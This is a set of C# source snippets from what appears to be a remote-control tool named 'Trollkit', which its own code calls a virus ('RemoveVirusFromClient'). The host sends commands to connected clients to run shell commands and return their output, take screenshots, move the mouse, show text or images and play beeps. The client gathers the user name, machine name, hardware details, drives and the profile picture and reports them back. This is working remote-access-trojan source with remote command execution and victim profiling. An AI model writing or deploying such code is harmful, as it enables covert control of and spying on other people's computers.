/// <summary> /// Async function that handles the incoming connection /// </summary> /// <param name="result"></param> private void HandleIncomingConnection(IAsyncResult result) { try { Socket oldSocket = (Socket)result.AsyncState; Socket newSocket = oldSocket.EndAccept(result); uint clientId = clientCount++; Client client = new Client(clientId, (IPEndPoint)newSocket.RemoteEndPoint); clients.Add(newSocket, client); clients.FirstOrDefault(m => m.Key == newSocket).Value.SetDataItem("test", "DEBUG_TEST_ITEM2"); //call the client connected event, this is then passed up into the ServerViewModel. ClientConnected(client); newSocket.BeginReceive(client.Data, 0, dataSize, SocketFlags.None, new AsyncCallback(ReceiveData), newSocket); //tell the client to start sending back its client info. TransferCommandObject returnObject = new TransferCommandObject { Command = "GetClientInfo", Handler = "SystemInfo" }; SendDataObjectToSocket(DataByteType.Command, newSocket, ClientServerPipeline.BufferSerialize(returnObject)); serverSocket.BeginAccept(new AsyncCallback(HandleIncomingConnection), serverSocket); } catch (Exception e) { BConsole.WriteLine(e.Message); } }
/// <summary> /// Send alt tab command to the client /// </summary> private void SendAltTab() { TransferCommandObject returnObject = new TransferCommandObject { Command = "AltTab", Handler = handler }; _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject)); }
public void CloseCMD() { TransferCommandObject returnObject = new TransferCommandObject { Command = "StopCMD", Handler = handler }; _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject)); }
/// <summary> /// Sends the mouseposition command to the client. /// </summary> private void SendMousePosition() { TransferCommandObject returnObject = new TransferCommandObject { Command = "MousePosition", Handler = handler, Value = $"{XCoordinate},{YCoordinate}" }; _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject)); }
/// <summary> /// Sends a cmd command to the client /// </summary> private void SendCMDCommand() { TransferCommandObject returnObject = new TransferCommandObject { Command = "Command", Handler = handler, Value = CommandText }; _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject)); }
/// <summary> /// Sends the beep command to the client /// </summary> public void SendBeep() { TransferCommandObject returnObject = new TransferCommandObject { Command = "PlayBeep", Handler = handler, Value = "800,800" }; _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject)); }
/// <summary> /// Opens a textbox on the client with the provided text /// </summary> private void SendDisplayText() { TransferCommandObject returnObject = new TransferCommandObject { Command = "TextBox", Handler = handler, Value = BroadcastMessageText }; _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject)); }
/// <summary> /// Sends the screenshot command to the client /// </summary> private void SendMakeScreenshot() { TransferCommandObject returnObject = new TransferCommandObject { Command = "MakeScreenshot", Handler = handler, Value = $"{_server.SelectedClient.SelectedScreen.ScreenId}" }; _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject)); }
public void SendCMDToClient() { TransferCommandObject returnObject = new TransferCommandObject { Command = "ExecuteCMD", Handler = handler, Value = CommandText }; _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject)); CommandText = ""; }
public void TestMethod1() { string testText = "adasdsada\0\0\0\0\0\0\0\0"; TransferCommandObject t = new TransferCommandObject { Command = "Login", Value = testText }; var t2 = ClientServerPipeline.BufferDeserialize(ClientServerPipeline.BufferSerialize(t)); Assert.AreEqual(t.Value, t2.Value); }
private static void Timer_Tick(Object state) { //check for music and send it to all clients string song = MusicController.GetTrackInfo("Google Play Music Desktop Player"); if (song != PrevSong) { PrevSong = song; Server.SendDataObjectToAll(0x1C, ClientServerPipeline.BufferSerialize(new TransferCommandObject { Command = "NowPlaying", Value = song })); WriteLine("Now Playing: " + song, ConsoleColor.Cyan); } }
private bool MakeScreenshot(Socket s, string monitorNumber) { try { ScreenshotModel screenshotObject = Screenshot.MakeScreenshot(monitorNumber); TransferCommandObject pfTransferObject = new TransferCommandObject { Command = "ScreenshotResponse", Value = screenshotObject.ConvertToJson() }; SendResponseObjectToSocket(s, ClientServerPipeline.BufferSerialize(pfTransferObject)); return(true); } catch (Exception e) { BConsole.WriteLine("Visuals Error: " + e.Message, ConsoleColor.Red); return(false); } }
/// <summary> /// Function that sends an image to the client, displays the image and then presses f11 on the client. /// </summary> private void SendDisplayImage() { OpenFileDialog open = new OpenFileDialog(); open.Filter = "Image Files(*.png; *.jpg; *.jpeg; *.gif;)|*.png; *.jpg; *.jpeg; *.gif;"; open.Multiselect = false; open.Title = "Pick an image to send to the client"; if (open.ShowDialog() == true) { byte[] bytes = File.ReadAllBytes(open.FileName); string base64 = Convert.ToBase64String(bytes); TransferCommandObject returnObject = new TransferCommandObject { Command = "ShowImage", Handler = handler, Value = base64 }; _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject)); } }
private void ReadBuffer(Socket s) { Thread.Sleep(300); if (CMDLineBuffer.Count != 0) { string appendedLines = ""; List <string> data = new List <string>(CMDLineBuffer); CMDLineBuffer.Clear(); foreach (string line in data) { appendedLines += line + "\r\n"; } //write buffer to host TransferCommandObject responseCMDTransferObject = new TransferCommandObject { Command = "CMDResponse", Value = appendedLines }; SendResponseObjectToSocket(s, ClientServerPipeline.BufferSerialize(responseCMDTransferObject)); ReadBuffer(s); } }
/// <summary> /// The async callback of receivedata /// </summary> /// <param name="result"></param> private void ReceiveData(IAsyncResult result) { try { Socket clientSocket = (Socket)result.AsyncState; Client client = GetClientBySocket(clientSocket); if (client == null) { return; } int bytesReceived = clientSocket.EndReceive(result); DataByteType type = (DataByteType)client.Data[SharedProperties.TypeByte]; if (bytesReceived == 0) { CloseSocket(clientSocket); serverSocket.BeginAccept(new AsyncCallback(HandleIncomingConnection), serverSocket); } else if (Enum.IsDefined(typeof(DataByteType), (DataByteType)client.Data[SharedProperties.TypeByte])) { int length = BitConverter.ToInt32(new byte[] { client.Data[SharedProperties.LengthByte1], client.Data[SharedProperties.LengthByte2], 0, 0 }, 0); int series = BitConverter.ToInt32(new byte[] { client.Data[SharedProperties.SeriesByte1], client.Data[SharedProperties.SeriesByte2], 0, 0 }, 0); Guid guid = new Guid(client.Data.SubArray(SharedProperties.GuidStartByte, 16)); DataBufferModel buffer = Buffers.FirstOrDefault(n => n.DataId == guid); if (buffer != null) { buffer.BufferedData.Add(series, client.Data.SubArray(SharedProperties.HeaderByteSize, SharedProperties.DataLength)); buffer.LatestSeries = series; } else { buffer = new DataBufferModel(); buffer.BufferedData.Add(series, client.Data.SubArray(SharedProperties.HeaderByteSize, SharedProperties.DataLength)); buffer.DataId = guid; buffer.SeriesLength = length; buffer.LatestSeries = series; Buffers.Add(buffer); } BConsole.WriteLine($"Received data with id: {guid.ToString()}"); if (buffer.BufferedData.Count == buffer.SeriesLength) { if (HandleIncomingData(ClientServerPipeline.BufferDeserialize(buffer), client, type)) { Buffers.Remove(buffer); } } } clientSocket.BeginReceive(client.Data, 0, dataSize, SocketFlags.None, new AsyncCallback(ReceiveData), clientSocket); } catch (SocketException) { Socket clientSocket = (Socket)result.AsyncState; Client client = GetClientBySocket(clientSocket); KickClient(client); } catch (Exception e) { BConsole.WriteLine("Recieve error occured: " + e.Message, ConsoleColor.Red); } }
/// <summary> /// Called when a new message was received on any client socket. /// </summary> /// <param name="c"></param> /// <param name="model"></param> /// <param name="type"></param> private void Server_MessageReceived(Client c, TransferCommandObject model, Server.DataByteType type) { BConsole.WriteLine($"Client {c.GetName()} sent a message", ConsoleColor.DarkGray); switch (type) { case Server.DataByteType.Response: if (model.Command == "CMDResponse") { c.AddToCMDBuffer(model.Value); } else if (model.Command == "ScreenshotResponse") { ScreenshotModel screenshotObject = JsonConvert.DeserializeObject <ScreenshotModel>(model.Value); c.SetScreenshot(screenshotObject); } else if (model.Command == "ScreenList") { List <ScreenTypeModel> screenList = JsonConvert.DeserializeObject <List <ScreenTypeModel> >(model.Value); if (screenList != null) { c.SetScreenData(screenList); } } break; case Server.DataByteType.Command: if (model.Command == "Debug") { TransferCommandObject returnObject = new TransferCommandObject { Command = "PlayBeep", Handler = "Audio", Value = "200,300" }; Server.SendDataObjectToSocket(Server.DataByteType.Command, Server.GetSocketByClient(c), ClientServerPipeline.BufferSerialize(returnObject)); } break; case Server.DataByteType.Data: c.SetDataItem(model.Command, model.Value); NotifyPropertyChanged("SelectedClient.storedData"); NotifyPropertyChanged("CurrentClientName"); break; } }
/// <summary> /// Connects to the Remote host and receives data, returns if connection is lost /// </summary> /// <param name="ip"></param> /// <returns>Returns if the client should attempt a reconnect</returns> public bool ConnectAndReceive(string ip) { remoteSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); remoteSocket.Connect(new IPEndPoint(IPAddress.Parse(ip), SharedProperties.MainPort)); BConsole.WriteLine($"Connected to Trollkit host at {ip}:{SharedProperties.MainPort}", ConsoleColor.DarkGreen); while (remoteSocket.IsConnected()) { //receive data from server. byte[] array = new byte[SharedProperties.DataSize]; try { remoteSocket.Receive(array); } catch (SocketException e) { if (e.SocketErrorCode == SocketError.ConnectionReset) { BConsole.WriteLine("Host connection closed unexpectedly...", ConsoleColor.Red); return(true); } else { BConsole.WriteLine("Application crashed, closing now"); return(false); } } catch (Exception e) { BConsole.WriteLine("Application crashed, closing now"); return(false); } int length = BitConverter.ToInt32(new byte[] { array[SharedProperties.LengthByte1], array[SharedProperties.LengthByte2], 0, 0 }, 0); int series = BitConverter.ToInt32(new byte[] { array[SharedProperties.SeriesByte1], array[SharedProperties.SeriesByte2], 0, 0 }, 0); byte[] guidBytes = Extensions.SubArray(array, SharedProperties.GuidStartByte, 16); Guid guid = new Guid(guidBytes); if (guid != Guid.Empty) { DataBufferModel buffer = buffers.FirstOrDefault(n => n.DataId == guid); if (buffer != null) { buffer.BufferedData.Add(series, Extensions.SubArray(array, SharedProperties.HeaderByteSize, SharedProperties.DataLength)); buffer.LatestSeries = series; } else { buffer = new DataBufferModel(); buffer.BufferedData.Add(series, Extensions.SubArray(array, SharedProperties.HeaderByteSize, SharedProperties.DataLength)); buffer.LatestSeries = series; buffer.DataId = guid; buffer.SeriesLength = length; buffers.Add(buffer); } if (buffer.BufferedData.Count == buffer.SeriesLength) { OnDataReceived?.Invoke(remoteSocket, ClientServerPipeline.BufferDeserialize(buffer)); } } } return(false); //if code reaches here, the client was gracefully kicked }
/// <summary> /// Function that executes all functions and then returns their data to the Host /// </summary> /// <param name="s"></param> /// <returns></returns> private bool CollectAndReturnSystemInfo(Socket s) { bool success = true; try { string userName = $"> {Environment.UserName} on {Environment.MachineName}"; TransferCommandObject userNameTransferObject = new TransferCommandObject { Command = "ComputerName", Value = userName }; SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(userNameTransferObject)); } catch (Exception e) { success = false; BConsole.WriteLine("ComputerName error: " + e.Message, ConsoleColor.Red); } try { string cpu = GetCPUName(); TransferCommandObject cpuTranfserObject = new TransferCommandObject { Command = "CPU", Value = cpu }; SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(cpuTranfserObject)); } catch (Exception e) { success = false; BConsole.WriteLine("CPU error: " + e.Message, ConsoleColor.Red); } try { string drives = GetSystemDrives(); TransferCommandObject drivesTransferObject = new TransferCommandObject { Command = "Drives", Value = drives }; SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(drivesTransferObject)); } catch (Exception e) { success = false; BConsole.WriteLine("Drives error: " + e.Message, ConsoleColor.Red); } try { string osVersion = GetOSVersion(); TransferCommandObject osVersionTransferObject = new TransferCommandObject { Command = "WindowsVersion", Value = osVersion }; SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(osVersionTransferObject)); } catch (Exception e) { success = false; BConsole.WriteLine("WindowsVersion error: " + e.Message, ConsoleColor.Red); } try { string gpuName = GetGPUName(); TransferCommandObject gpuNameTransferObject = new TransferCommandObject { Command = "GPU", Value = gpuName }; SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(gpuNameTransferObject)); } catch (Exception e) { success = false; BConsole.WriteLine("GPU error: " + e.Message, ConsoleColor.Red); } try { string ramString = GetRamAmount(); TransferCommandObject ramTransferObject = new TransferCommandObject { Command = "RAM", Value = ramString }; SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(ramTransferObject)); } catch (Exception e) { success = false; BConsole.WriteLine("RAM error: " + e.Message, ConsoleColor.Red); } try { string screens = Screenshot.GetScreenList(); TransferCommandObject ramTransferObject = new TransferCommandObject { Command = "ScreenList", Value = screens }; SendResponseObjectToSocket(s, ClientServerPipeline.BufferSerialize(ramTransferObject)); } catch (Exception e) { success = false; BConsole.WriteLine("ScreenList error: " + e.Message, ConsoleColor.Red); } try { string base64ProfilePicture = WindowsProfilePicture.Get448ImageString(); TransferCommandObject pfTransferObject = new TransferCommandObject { Command = "ProfilePicture", Value = base64ProfilePicture }; SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(pfTransferObject)); } catch (Exception e) { success = false; BConsole.WriteLine("ProfilePicture error: " + e.Message, ConsoleColor.Red); } return(success); }
/// <summary> /// Function that sends a request to the client for removing the client application from the computer. /// </summary> private void RemoveVirusFromClient() { TransferCommandObject removeVirusTransferObject = new TransferCommandObject { Command = "DeleteTask", Handler = "Task" }; var socket = ServerViewModel.Server.GetSocketByClient(this); ServerViewModel.Server.SendDataObjectToSocket(DataByteType.Command, socket, ClientServerPipeline.BufferSerialize(removeVirusTransferObject)); }